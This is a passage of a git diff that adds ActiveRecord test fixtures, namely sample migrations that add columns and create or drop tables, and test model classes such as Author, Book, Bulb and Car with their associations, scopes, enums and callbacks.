@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class CreateComments < ActiveRecord::Migration::Current
+  def self.up
+  end
+
+  def self.down
+  end
+end
diff --git a/activerecord/test/migrations/to_copy_with_name_collision/1_people_have_hobbies.rb b/activerecord/test/migrations/to_copy_with_name_collision/1_people_have_hobbies.rb
new file mode 100644
index 0000000000..d9fef596f5
--- /dev/null
+++ b/activerecord/test/migrations/to_copy_with_name_collision/1_people_have_hobbies.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class PeopleHaveHobbies < ActiveRecord::Migration::Current
+  def self.up
+    add_column "people", "hobbies", :string
+  end
+
+  def self.down
+    remove_column "people", "hobbies"
+  end
+end
diff --git a/activerecord/test/migrations/to_copy_with_timestamps/20090101010101_people_have_hobbies.rb b/activerecord/test/migrations/to_copy_with_timestamps/20090101010101_people_have_hobbies.rb
new file mode 100644
index 0000000000..badccf65cc
--- /dev/null
+++ b/activerecord/test/migrations/to_copy_with_timestamps/20090101010101_people_have_hobbies.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class PeopleHaveHobbies < ActiveRecord::Migration::Current
+  def self.up
+    add_column "people", "hobbies", :text
+  end
+
+  def self.down
+    remove_column "people", "hobbies"
+  end
+end
diff --git a/activerecord/test/migrations/to_copy_with_timestamps/20090101010202_people_have_descriptions.rb b/activerecord/test/migrations/to_copy_with_timestamps/20090101010202_people_have_descriptions.rb
new file mode 100644
index 0000000000..1d19d5d6f4
--- /dev/null
+++ b/activerecord/test/migrations/to_copy_with_timestamps/20090101010202_people_have_descriptions.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class PeopleHaveDescriptions < ActiveRecord::Migration::Current
+  def self.up
+    add_column "people", "description", :text
+  end
+
+  def self.down
+    remove_column "people", "description"
+  end
+end
diff --git a/activerecord/test/migrations/to_copy_with_timestamps2/20090101010101_create_articles.rb b/activerecord/test/migrations/to_copy_with_timestamps2/20090101010101_create_articles.rb
new file mode 100644
index 0000000000..85c166b319
--- /dev/null
+++ b/activerecord/test/migrations/to_copy_with_timestamps2/20090101010101_create_articles.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class CreateArticles < ActiveRecord::Migration::Current
+  def self.up
+  end
+
+  def self.down
+  end
+end
diff --git a/activerecord/test/migrations/to_copy_with_timestamps2/20090101010202_create_comments.rb b/activerecord/test/migrations/to_copy_with_timestamps2/20090101010202_create_comments.rb
new file mode 100644
index 0000000000..1d213a1705
--- /dev/null
+++ b/activerecord/test/migrations/to_copy_with_timestamps2/20090101010202_create_comments.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class CreateComments < ActiveRecord::Migration::Current
+  def self.up
+  end
+
+  def self.down
+  end
+end
diff --git a/activerecord/test/migrations/valid/1_valid_people_have_last_names.rb b/activerecord/test/migrations/valid/1_valid_people_have_last_names.rb
new file mode 100644
index 0000000000..3bedcdcdf0
--- /dev/null
+++ b/activerecord/test/migrations/valid/1_valid_people_have_last_names.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class ValidPeopleHaveLastNames < ActiveRecord::Migration::Current
+  def self.up
+    add_column "people", "last_name", :string
+  end
+
+  def self.down
+    remove_column "people", "last_name"
+  end
+end
diff --git a/activerecord/test/migrations/valid/2_we_need_reminders.rb b/activerecord/test/migrations/valid/2_we_need_reminders.rb
new file mode 100644
index 0000000000..4647268c6e
--- /dev/null
+++ b/activerecord/test/migrations/valid/2_we_need_reminders.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+class WeNeedReminders < ActiveRecord::Migration::Current
+  def self.up
+    create_table("reminders") do |t|
+      t.column :content, :text
+      t.column :remind_at, :datetime
+    end
+  end
+
+  def self.down
+    drop_table "reminders"
+  end
+end
diff --git a/activerecord/test/migrations/valid/3_innocent_jointable.rb b/activerecord/test/migrations/valid/3_innocent_jointable.rb
new file mode 100644
index 0000000000..8063bc0558
--- /dev/null
+++ b/activerecord/test/migrations/valid/3_innocent_jointable.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+class InnocentJointable < ActiveRecord::Migration::Current
+  def self.up
+    create_table("people_reminders", id: false) do |t|
+      t.column :reminder_id, :integer
+      t.column :person_id, :integer
+    end
+  end
+
+  def self.down
+    drop_table "people_reminders"
+  end
+end
diff --git a/activerecord/test/migrations/valid_with_subdirectories/1_valid_people_have_last_names.rb b/activerecord/test/migrations/valid_with_subdirectories/1_valid_people_have_last_names.rb
new file mode 100644
index 0000000000..3bedcdcdf0
--- /dev/null
+++ b/activerecord/test/migrations/valid_with_subdirectories/1_valid_people_have_last_names.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class ValidPeopleHaveLastNames < ActiveRecord::Migration::Current
+  def self.up
+    add_column "people", "last_name", :string
+  end
+
+  def self.down
+    remove_column "people", "last_name"
+  end
+end
diff --git a/activerecord/test/migrations/valid_with_subdirectories/sub/2_we_need_reminders.rb b/activerecord/test/migrations/valid_with_subdirectories/sub/2_we_need_reminders.rb
new file mode 100644
index 0000000000..4647268c6e
--- /dev/null
+++ b/activerecord/test/migrations/valid_with_subdirectories/sub/2_we_need_reminders.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+class WeNeedReminders < ActiveRecord::Migration::Current
+  def self.up
+    create_table("reminders") do |t|
+      t.column :content, :text
+      t.column :remind_at, :datetime
+    end
+  end
+
+  def self.down
+    drop_table "reminders"
+  end
+end
diff --git a/activerecord/test/migrations/valid_with_subdirectories/sub1/3_innocent_jointable.rb b/activerecord/test/migrations/valid_with_subdirectories/sub1/3_innocent_jointable.rb
new file mode 100644
index 0000000000..8063bc0558
--- /dev/null
+++ b/activerecord/test/migrations/valid_with_subdirectories/sub1/3_innocent_jointable.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+class InnocentJointable < ActiveRecord::Migration::Current
+  def self.up
+    create_table("people_reminders", id: false) do |t|
+      t.column :reminder_id, :integer
+      t.column :person_id, :integer
+    end
+  end
+
+  def self.down
+    drop_table "people_reminders"
+  end
+end
diff --git a/activerecord/test/migrations/valid_with_timestamps/20100101010101_valid_with_timestamps_people_have_last_names.rb b/activerecord/test/migrations/valid_with_timestamps/20100101010101_valid_with_timestamps_people_have_last_names.rb
new file mode 100644
index 0000000000..b938847170
--- /dev/null
+++ b/activerecord/test/migrations/valid_with_timestamps/20100101010101_valid_with_timestamps_people_have_last_names.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class ValidWithTimestampsPeopleHaveLastNames < ActiveRecord::Migration::Current
+  def self.up
+    add_column "people", "last_name", :string
+  end
+
+  def self.down
+    remove_column "people", "last_name"
+  end
+end
diff --git a/activerecord/test/migrations/valid_with_timestamps/20100201010101_valid_with_timestamps_we_need_reminders.rb b/activerecord/test/migrations/valid_with_timestamps/20100201010101_valid_with_timestamps_we_need_reminders.rb
new file mode 100644
index 0000000000..94551e8208
--- /dev/null
+++ b/activerecord/test/migrations/valid_with_timestamps/20100201010101_valid_with_timestamps_we_need_reminders.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+class ValidWithTimestampsWeNeedReminders < ActiveRecord::Migration::Current
+  def self.up
+    create_table("reminders") do |t|
+      t.column :content, :text
+      t.column :remind_at, :datetime
+    end
+  end
+
+  def self.down
+    drop_table "reminders"
+  end
+end
diff --git a/activerecord/test/migrations/valid_with_timestamps/20100301010101_valid_with_timestamps_innocent_jointable.rb b/activerecord/test/migrations/valid_with_timestamps/20100301010101_valid_with_timestamps_innocent_jointable.rb
new file mode 100644
index 0000000000..672edc5253
--- /dev/null
+++ b/activerecord/test/migrations/valid_with_timestamps/20100301010101_valid_with_timestamps_innocent_jointable.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+class ValidWithTimestampsInnocentJointable < ActiveRecord::Migration::Current
+  def self.up
+    create_table("people_reminders", id: false) do |t|
+      t.column :reminder_id, :integer
+      t.column :person_id, :integer
+    end
+  end
+
+  def self.down
+    drop_table "people_reminders"
+  end
+end
diff --git a/activerecord/test/migrations/version_check/20131219224947_migration_version_check.rb b/activerecord/test/migrations/version_check/20131219224947_migration_version_check.rb
new file mode 100644
index 0000000000..91bfbbdfd1
--- /dev/null
+++ b/activerecord/test/migrations/version_check/20131219224947_migration_version_check.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+class MigrationVersionCheck < ActiveRecord::Migration::Current
+  def self.up
+    raise "incorrect migration version" unless version == 20131219224947
+  end
+
+  def self.down
+  end
+end
diff --git a/activerecord/test/models/account.rb b/activerecord/test/models/account.rb
new file mode 100644
index 0000000000..0c3cd45a81
--- /dev/null
+++ b/activerecord/test/models/account.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+class Account < ActiveRecord::Base
+  belongs_to :firm, class_name: "Company"
+  belongs_to :unautosaved_firm, foreign_key: "firm_id", class_name: "Firm", autosave: false
+
+  alias_attribute :available_credit, :credit_limit
+
+  def self.destroyed_account_ids
+    @destroyed_account_ids ||= Hash.new { |h, k| h[k] = [] }
+  end
+
+  # Test private kernel method through collection proxy using has_many.
+  def self.open
+    where("firm_name = ?", "37signals")
+  end
+
+  before_destroy do |account|
+    if account.firm
+      Account.destroyed_account_ids[account.firm.id] << account.id
+    end
+  end
+
+  validate :check_empty_credit_limit
+
+  private
+    def check_empty_credit_limit
+      errors.add("credit_limit", :blank) if credit_limit.blank?
+    end
+
+    def private_method
+      "Sir, yes sir!"
+    end
+end
diff --git a/activerecord/test/models/admin.rb b/activerecord/test/models/admin.rb
new file mode 100644
index 0000000000..a40b5a33b2
--- /dev/null
+++ b/activerecord/test/models/admin.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+module Admin
+  def self.table_name_prefix
+    "admin_"
+  end
+end
diff --git a/activerecord/test/models/admin/account.rb b/activerecord/test/models/admin/account.rb
new file mode 100644
index 0000000000..41fe2d782b
--- /dev/null
+++ b/activerecord/test/models/admin/account.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class Admin::Account < ActiveRecord::Base
+  has_many :users
+end
diff --git a/activerecord/test/models/admin/randomly_named_c1.rb b/activerecord/test/models/admin/randomly_named_c1.rb
new file mode 100644
index 0000000000..d89b8dd293
--- /dev/null
+++ b/activerecord/test/models/admin/randomly_named_c1.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class Admin::ClassNameThatDoesNotFollowCONVENTIONS1 < ActiveRecord::Base
+  self.table_name = :randomly_named_table2
+end
+
+class Admin::ClassNameThatDoesNotFollowCONVENTIONS2 < ActiveRecord::Base
+  self.table_name = :randomly_named_table3
+end
diff --git a/activerecord/test/models/admin/user.rb b/activerecord/test/models/admin/user.rb
new file mode 100644
index 0000000000..abb5cb28e7
--- /dev/null
+++ b/activerecord/test/models/admin/user.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+class Admin::User < ActiveRecord::Base
+  class Coder
+    def initialize(default = {})
+      @default = default
+    end
+
+    def dump(o)
+      ActiveSupport::JSON.encode(o || @default)
+    end
+
+    def load(s)
+      s.present? ? ActiveSupport::JSON.decode(s) : @default.clone
+    end
+  end
+
+  belongs_to :account
+  store :params, accessors: [ :token ], coder: YAML
+  store :settings, accessors: [ :color, :homepage ]
+  store_accessor :settings, :favorite_food
+  store :preferences, accessors: [ :remember_login ]
+  store :json_data, accessors: [ :height, :weight ], coder: Coder.new
+  store :json_data_empty, accessors: [ :is_a_good_guy ], coder: Coder.new
+
+  def phone_number
+    read_store_attribute(:settings, :phone_number).gsub(/(\d{3})(\d{3})(\d{4})/, '(\1) \2-\3')
+  end
+
+  def phone_number=(value)
+    write_store_attribute(:settings, :phone_number, value && value.gsub(/[^\d]/, ""))
+  end
+
+  def color
+    super || "red"
+  end
+
+  def color=(value)
+    value = "blue" unless %w(black red green blue).include?(value)
+    super
+  end
+end
diff --git a/activerecord/test/models/aircraft.rb b/activerecord/test/models/aircraft.rb
new file mode 100644
index 0000000000..4fdea46cf7
--- /dev/null
+++ b/activerecord/test/models/aircraft.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class Aircraft < ActiveRecord::Base
+  self.pluralize_table_names = false
+  has_many :engines, foreign_key: "car_id"
+  has_many :wheels, as: :wheelable
+end
diff --git a/activerecord/test/models/arunit2_model.rb b/activerecord/test/models/arunit2_model.rb
new file mode 100644
index 0000000000..5b0da8a249
--- /dev/null
+++ b/activerecord/test/models/arunit2_model.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class ARUnit2Model < ActiveRecord::Base
+  self.abstract_class = true
+end
diff --git a/activerecord/test/models/author.rb b/activerecord/test/models/author.rb
new file mode 100644
index 0000000000..09958ca257
--- /dev/null
+++ b/activerecord/test/models/author.rb
@@ -0,0 +1,211 @@
+# frozen_string_literal: true
+
+class Author < ActiveRecord::Base
+  has_many :posts
+  has_many :serialized_posts
+  has_one :post
+  has_many :very_special_comments, through: :posts
+  has_many :posts_with_comments, -> { includes(:comments) }, class_name: "Post"
+  has_many :popular_grouped_posts, -> { includes(:comments).group("type").having("SUM(comments_count) > 1").select("type") }, class_name: "Post"
+  has_many :posts_with_comments_sorted_by_comment_id, -> { includes(:comments).order("comments.id") }, class_name: "Post"
+  has_many :posts_sorted_by_id_limited, -> { order("posts.id").limit(1) }, class_name: "Post"
+  has_many :posts_with_categories, -> { includes(:categories) }, class_name: "Post"
+  has_many :posts_with_comments_and_categories, -> { includes(:comments, :categories).order("posts.id") }, class_name: "Post"
+  has_many :posts_with_special_categorizations, class_name: "PostWithSpecialCategorization"
+  has_one  :post_about_thinking, -> { where("posts.title like '%thinking%'") }, class_name: "Post"
+  has_one  :post_about_thinking_with_last_comment, -> { where("posts.title like '%thinking%'").includes(:last_comment) }, class_name: "Post"
+  has_many :comments, through: :posts do
+    def ratings
+      Rating.joins(:comment).merge(self)
+    end
+  end
+  has_many :comments_containing_the_letter_e, through: :posts, source: :comments
+  has_many :comments_with_order_and_conditions, -> { order("comments.body").where("comments.body like 'Thank%'") }, through: :posts, source: :comments
+  has_many :comments_with_include, -> { includes(:post) }, through: :posts, source: :comments
+
+  has_many :first_posts
+  has_many :comments_on_first_posts, -> { order("posts.id desc, comments.id asc") }, through: :first_posts, source: :comments
+
+  has_one :first_post
+  has_one :comment_on_first_post, -> { order("posts.id desc, comments.id asc") }, through: :first_post, source: :comments
+
+  has_many :thinking_posts, -> { where(title: "So I was thinking") }, dependent: :delete_all, class_name: "Post"
+  has_many :welcome_posts, -> { where(title: "Welcome to the weblog") }, class_name: "Post"
+
+  has_many :welcome_posts_with_one_comment,
+           -> { where(title: "Welcome to the weblog").where("comments_count = ?", 1) },
+           class_name: "Post"
+  has_many :welcome_posts_with_comments,
+           -> { where(title: "Welcome to the weblog").where(Post.arel_table[:comments_count].gt(0)) },
+           class_name: "Post"
+
+  has_many :comments_desc, -> { order("comments.id DESC") }, through: :posts, source: :comments
+  has_many :funky_comments, through: :posts, source: :comments
+  has_many :ordered_uniq_comments, -> { distinct.order("comments.id") }, through: :posts, source: :comments
+  has_many :ordered_uniq_comments_desc, -> { distinct.order("comments.id DESC") }, through: :posts, source: :comments
+  has_many :readonly_comments, -> { readonly }, through: :posts, source: :comments
+
+  has_many :special_posts
+  has_many :special_post_comments, through: :special_posts, source: :comments
+  has_many :special_posts_with_default_scope, class_name: "SpecialPostWithDefaultScope"
+
+  has_many :sti_posts, class_name: "StiPost"
+  has_many :sti_post_comments, through: :sti_posts, source: :comments
+
+  has_many :special_nonexistent_posts, -> { where("posts.body = 'nonexistent'") }, class_name: "SpecialPost"
+  has_many :special_nonexistent_post_comments, -> { where("comments.post_id" => 0) }, through: :special_nonexistent_posts, source: :comments
+  has_many :nonexistent_comments, through: :posts
+
+  has_many :hello_posts, -> { where "posts.body = 'hello'" }, class_name: "Post"
+  has_many :hello_post_comments, through: :hello_posts, source: :comments
+  has_many :posts_with_no_comments, -> { where("comments.id" => nil).includes(:comments) }, class_name: "Post"
+
+  has_many :hello_posts_with_hash_conditions, -> { where(body: "hello") }, class_name: "Post"
+  has_many :hello_post_comments_with_hash_conditions, through: :hello_posts_with_hash_conditions, source: :comments
+
+  has_many :other_posts,          class_name: "Post"
+  has_many :posts_with_callbacks, class_name: "Post", before_add: :log_before_adding,
+           after_add: :log_after_adding,
+           before_remove: :log_before_removing,
+           after_remove: :log_after_removing
+  has_many :posts_with_proc_callbacks, class_name: "Post",
+           before_add: Proc.new { |o, r| o.post_log << "before_adding#{r.id || '<new>'}" },
+           after_add: Proc.new { |o, r| o.post_log << "after_adding#{r.id || '<new>'}" },
+           before_remove: Proc.new { |o, r| o.post_log << "before_removing#{r.id}" },
+           after_remove: Proc.new { |o, r| o.post_log << "after_removing#{r.id}" }
+  has_many :posts_with_multiple_callbacks, class_name: "Post",
+           before_add: [:log_before_adding, Proc.new { |o, r| o.post_log << "before_adding_proc#{r.id || '<new>'}" }],
+           after_add: [:log_after_adding,  Proc.new { |o, r| o.post_log << "after_adding_proc#{r.id || '<new>'}" }]
+  has_many :unchangeable_posts, class_name: "Post", before_add: :raise_exception, after_add: :log_after_adding
+
+  has_many :categorizations
+  has_many :categories, through: :categorizations
+  has_many :named_categories, through: :categorizations
+
+  has_many :special_categorizations
+  has_many :special_categories, through: :special_categorizations, source: :category
+  has_one  :special_category,   through: :special_categorizations, source: :category
+
+  has_many :categories_like_general, -> { where(name: "General") }, through: :categorizations, source: :category, class_name: "Category"
+
+  has_many :categorized_posts, through: :categorizations, source: :post
+  has_many :unique_categorized_posts, -> { distinct }, through: :categorizations, source: :post
+
+  has_many :nothings, through: :kateggorisatons, class_name: "Category"
+
+  has_many :author_favorites
+  has_many :favorite_authors, -> { order("name") }, through: :author_favorites
+
+  has_many :taggings,        through: :posts, source: :taggings
+  has_many :taggings_2,      through: :posts, source: :tagging
+  has_many :tags,            through: :posts
+  has_many :post_categories, through: :posts, source: :categories
+  has_many :tagging_tags,    through: :taggings, source: :tag
+
+  has_many :similar_posts, -> { distinct }, through: :tags, source: :tagged_posts
+  has_many :distinct_tags, -> { select("DISTINCT tags.*").order("tags.name") }, through: :posts, source: :tags
+
+  has_many :tags_with_primary_key, through: :posts
+
+  has_many :books
+  has_many :unpublished_books, -> { where(status: [:proposed, :written]) }, class_name: "Book"
+  has_many :subscriptions,        through: :books
+  has_many :subscribers, -> { order("subscribers.nick") }, through: :subscriptions
+  has_many :distinct_subscribers, -> { select("DISTINCT subscribers.*").order("subscribers.nick") }, through: :subscriptions, source: :subscriber
+
+  has_one :essay, primary_key: :name, as: :writer
+  has_one :essay_category, through: :essay, source: :category
+  has_one :essay_owner, through: :essay, source: :owner
+
+  has_one :essay_2, primary_key: :name, class_name: "Essay", foreign_key: :author_id
+  has_one :essay_category_2, through: :essay_2, source: :category
+
+  has_many :essays, primary_key: :name, as: :writer
+  has_many :essay_categories, through: :essays, source: :category
+  has_many :essay_owners, through: :essays, source: :owner
+
+  has_many :essays_2, primary_key: :name, class_name: "Essay", foreign_key: :author_id
+  has_many :essay_categories_2, through: :essays_2, source: :category
+
+  belongs_to :owned_essay, primary_key: :name, class_name: "Essay"
+  has_one :owned_essay_category, through: :owned_essay, source: :category
+
+  belongs_to :author_address,       dependent: :destroy
+  belongs_to :author_address_extra, dependent: :delete, class_name: "AuthorAddress"
+
+  has_many :category_post_comments, through: :categories, source: :post_comments
+
+  has_many :misc_posts, -> { where(posts: { title: ["misc post by bob", "misc post by mary"] }) }, class_name: "Post"
+  has_many :misc_post_first_blue_tags, through: :misc_posts, source: :first_blue_tags
+
+  has_many :misc_post_first_blue_tags_2, -> { where(posts: { title: ["misc post by bob", "misc post by mary"] }) },
+           through: :posts, source: :first_blue_tags_2
+
+  has_many :posts_with_default_include, class_name: "PostWithDefaultInclude"
+  has_many :comments_on_posts_with_default_include, through: :posts_with_default_include, source: :comments
+
+  has_many :posts_with_signature, ->(record) { where("posts.title LIKE ?", "%by #{record.name.downcase}%") }, class_name: "Post"
+
+  has_many :posts_with_extension, -> { order(:title) }, class_name: "Post" do
+    def extension_method; end
+  end
+
+  has_many :posts_with_extension_and_instance, ->(record) { order(:title) }, class_name: "Post" do
+    def extension_method; end
+  end
+
+  attr_accessor :post_log
+  after_initialize :set_post_log
+
+  def set_post_log
+    @post_log = []
+  end
+
+  def label
+    "#{id}-#{name}"
+  end
+
+  def social
+    %w(twitter github)
+  end
+
+  validates_presence_of :name
+
+  private
+    def log_before_adding(object)
+      @post_log << "before_adding#{object.id || '<new>'}"
+    end
+
+    def log_after_adding(object)
+      @post_log << "after_adding#{object.id}"
+    end
+
+    def log_before_removing(object)
+      @post_log << "before_removing#{object.id}"
+    end
+
+    def log_after_removing(object)
+      @post_log << "after_removing#{object.id}"
+    end
+
+    def raise_exception(object)
+      raise Exception.new("You can't add a post")
+    end
+end
+
+class AuthorAddress < ActiveRecord::Base
+  has_one :author
+
+  def self.destroyed_author_address_ids
+    @destroyed_author_address_ids ||= []
+  end
+
+  before_destroy do |author_address|
+    AuthorAddress.destroyed_author_address_ids << author_address.id
+  end
+end
+
+class AuthorFavorite < ActiveRecord::Base
+  belongs_to :author
+  belongs_to :favorite_author, class_name: "Author"
+end
diff --git a/activerecord/test/models/auto_id.rb b/activerecord/test/models/auto_id.rb
new file mode 100644
index 0000000000..fd672603bb
--- /dev/null
+++ b/activerecord/test/models/auto_id.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+class AutoId < ActiveRecord::Base
+  self.table_name = "auto_id_tests"
+  self.primary_key = "auto_id"
+end
diff --git a/activerecord/test/models/autoloadable/extra_firm.rb b/activerecord/test/models/autoloadable/extra_firm.rb
new file mode 100644
index 0000000000..c46e34c101
--- /dev/null
+++ b/activerecord/test/models/autoloadable/extra_firm.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+class ExtraFirm < Company
+end
diff --git a/activerecord/test/models/binary.rb b/activerecord/test/models/binary.rb
new file mode 100644
index 0000000000..b93f87519f
--- /dev/null
+++ b/activerecord/test/models/binary.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+class Binary < ActiveRecord::Base
+end
diff --git a/activerecord/test/models/bird.rb b/activerecord/test/models/bird.rb
new file mode 100644
index 0000000000..be08636ac6
--- /dev/null
+++ b/activerecord/test/models/bird.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+class Bird < ActiveRecord::Base
+  belongs_to :pirate
+  validates_presence_of :name
+
+  accepts_nested_attributes_for :pirate
+
+  attr_accessor :cancel_save_from_callback
+  before_save :cancel_save_callback_method, if: :cancel_save_from_callback
+  def cancel_save_callback_method
+    throw(:abort)
+  end
+end
diff --git a/activerecord/test/models/book.rb b/activerecord/test/models/book.rb
new file mode 100644
index 0000000000..afdda1a81e
--- /dev/null
+++ b/activerecord/test/models/book.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+class Book < ActiveRecord::Base
+  belongs_to :author
+
+  has_many :citations, foreign_key: "book1_id"
+  has_many :references, -> { distinct }, through: :citations, source: :reference_of
+
+  has_many :subscriptions
+  has_many :subscribers, through: :subscriptions
+
+  enum status: [:proposed, :written, :published]
+  enum read_status: { unread: 0, reading: 2, read: 3, forgotten: nil }
+  enum nullable_status: [:single, :married]
+  enum language: [:english, :spanish, :french], _prefix: :in
+  enum author_visibility: [:visible, :invisible], _prefix: true
+  enum illustrator_visibility: [:visible, :invisible], _prefix: true
+  enum font_size: [:small, :medium, :large], _prefix: :with, _suffix: true
+  enum difficulty: [:easy, :medium, :hard], _suffix: :to_read
+  enum cover: { hard: "hard", soft: "soft" }
+
+  def published!
+    super
+    "do publish work..."
+  end
+end
diff --git a/activerecord/test/models/boolean.rb b/activerecord/test/models/boolean.rb
new file mode 100644
index 0000000000..bee757fb9c
--- /dev/null
+++ b/activerecord/test/models/boolean.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class Boolean < ActiveRecord::Base
+  def has_fun
+    super
+  end
+end
diff --git a/activerecord/test/models/bulb.rb b/activerecord/test/models/bulb.rb
new file mode 100644
index 0000000000..ab92f7025d
--- /dev/null
+++ b/activerecord/test/models/bulb.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+class Bulb < ActiveRecord::Base
+  default_scope { where(name: "defaulty") }
+  belongs_to :car, touch: true
+  scope :awesome, -> { where(frickinawesome: true) }
+
+  attr_reader :scope_after_initialize, :attributes_after_initialize
+
+  after_initialize :record_scope_after_initialize
+  def record_scope_after_initialize
+    @scope_after_initialize = self.class.all
+  end
+
+  after_initialize :record_attributes_after_initialize
+  def record_attributes_after_initialize
+    @attributes_after_initialize = attributes.dup
+  end
+
+  def color=(color)
+    self[:color] = color.upcase + "!"
+  end
+
+  def self.new(attributes = {}, &block)
+    bulb_type = (attributes || {}).delete(:bulb_type)
+
+    if bulb_type.present?
+      bulb_class = "#{bulb_type.to_s.camelize}Bulb".constantize
+      bulb_class.new(attributes, &block)
+    else
+      super
+    end
+  end
+end
+
+class CustomBulb < Bulb
+  after_initialize :set_awesomeness
+
+  def set_awesomeness
+    self.frickinawesome = true if name == "Dude"
+  end
+end
+
+class FunkyBulb < Bulb
+  before_destroy do
+    raise "before_destroy was called"
+  end
+end
+
+class FailedBulb < Bulb
+  before_destroy do
+    throw(:abort)
+  end
+end
diff --git a/activerecord/test/models/cake_designer.rb b/activerecord/test/models/cake_designer.rb
new file mode 100644
index 0000000000..0b2a00edfd
--- /dev/null
+++ b/activerecord/test/models/cake_designer.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class CakeDesigner < ActiveRecord::Base
+  has_one :chef, as: :employable
+end
diff --git a/activerecord/test/models/car.rb b/activerecord/test/models/car.rb
new file mode 100644
index 0000000000..3d6a7a96c2
--- /dev/null
+++ b/activerecord/test/models/car.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+class Car < ActiveRecord::Base
+  has_many :bulbs
+  has_many :all_bulbs, -> { unscope where: :name }, class_name: "Bulb"
+  has_many :funky_bulbs, class_name: "FunkyBulb", dependent: :destroy
+  has_many :failed_bulbs, class_name: "FailedBulb", dependent: :destroy
+  has_many :foo_bulbs, -> { where(name: "foo") }, class_name: "Bulb"
+  has_many :awesome_bulbs, -> { awesome }, class_name: "Bulb"
+
+  has_one :bulb
+
+  has_many :tyres
+  has_many :engines, dependent: :destroy, inverse_of: :my_car
+  has_many :wheels, as: :wheelable, dependent: :destroy
+
+  has_many :price_estimates, as: :estimate_of
+
+  scope :incl_tyres, -> { includes(:tyres) }
+  scope :incl_engines, -> { includes(:engines) }
+
+  scope :order_using_new_style,  -> { order("name asc") }
+end
+
+class CoolCar < Car
+  default_scope { order("name desc") }
+end
+
+class FastCar < Car
+  default_scope { order("name desc") }
+end
diff --git a/activerecord/test/models/carrier.rb b/activerecord/test/models/carrier.rb
new file mode 100644
index 0000000000..995a9d3bef
--- /dev/null
+++ b/activerecord/test/models/carrier.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+class Carrier < ActiveRecord::Base
+end
diff --git a/activerecord/test/models/cat.rb b/activerecord/test/models/cat.rb
new file mode 100644
index 0000000000..43013964b6
--- /dev/null
+++ b/activerecord/test/models/cat.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+class Cat < ActiveRecord::Base
+  self.abstract_class = true
+
+  enum gender: [:female, :male]
+
+  default_scope -> { where(is_vegetarian: false) }
+end
+
+class Lion < Cat
+end
diff --git a/activerecord/test/models/categorization.rb b/activerecord/test/models/categorization.rb
new file mode 100644
index 0000000000..68b0ea90d3
--- /dev/null
+++ b/activerecord/test/models/categorization.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+class Categorization < ActiveRecord::Base
+  belongs_to :post
+  belongs_to :category, counter_cache: true
+  belongs_to :named_category, class_name: "Category", foreign_key: :named_category_name, primary_key: :name
+  belongs_to :author
+
+  has_many :post_taggings, through: :author, source: :taggings
+
+  belongs_to :author_using_custom_pk,  class_name: "Author", foreign_key: :author_id, primary_key: :author_address_extra_id
+  has_many   :authors_using_custom_pk, class_name: "Author", foreign_key: :id,        primary_key: :category_id
+end
+
+class SpecialCategorization < ActiveRecord::Base
+  self.table_name = "categorizations"
+  default_scope { where(special: true) }
+
+  belongs_to :author
+  belongs_to :category
+end
diff --git a/activerecord/test/models/category.rb b/activerecord/test/models/category.rb
new file mode 100644
index 0000000000..2ccc00bed9
--- /dev/null
+++ b/activerecord/test/models/category.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+class Category < ActiveRecord::Base
+  has_and_belongs_to_many :posts
+  has_and_belongs_to_many :special_posts, class_name: "Post"
+  has_and_belongs_to_many :other_posts, class_name: "Post"
+  has_and_belongs_to_many :posts_with_authors_sorted_by_author_id, -> { includes(:authors).order("authors.id") }, class_name: "Post"
+
+  has_and_belongs_to_many :select_testing_posts,
+                          -> { select "posts.*, 1 as correctness_marker" },
+                          class_name: "Post",
+                          foreign_key: "category_id",
+                          association_foreign_key: "post_id"
+
+  has_and_belongs_to_many :post_with_conditions,
+                          -> { where title: "Yet Another Testing Title" },
+                          class_name: "Post"
+
+  has_and_belongs_to_many :popular_grouped_posts, -> { group("posts.type").having("sum(comments.post_id) > 2").includes(:comments) }, class_name: "Post"
+  has_and_belongs_to_many :posts_grouped_by_title, -> { group("title").select("title") }, class_name: "Post"
+
+  def self.what_are_you
+    "a category..."
+  end
+
+  has_many :categorizations
+  has_many :special_categorizations
+  has_many :post_comments, through: :posts, source: :comments
+
+  has_many :authors, through: :categorizations
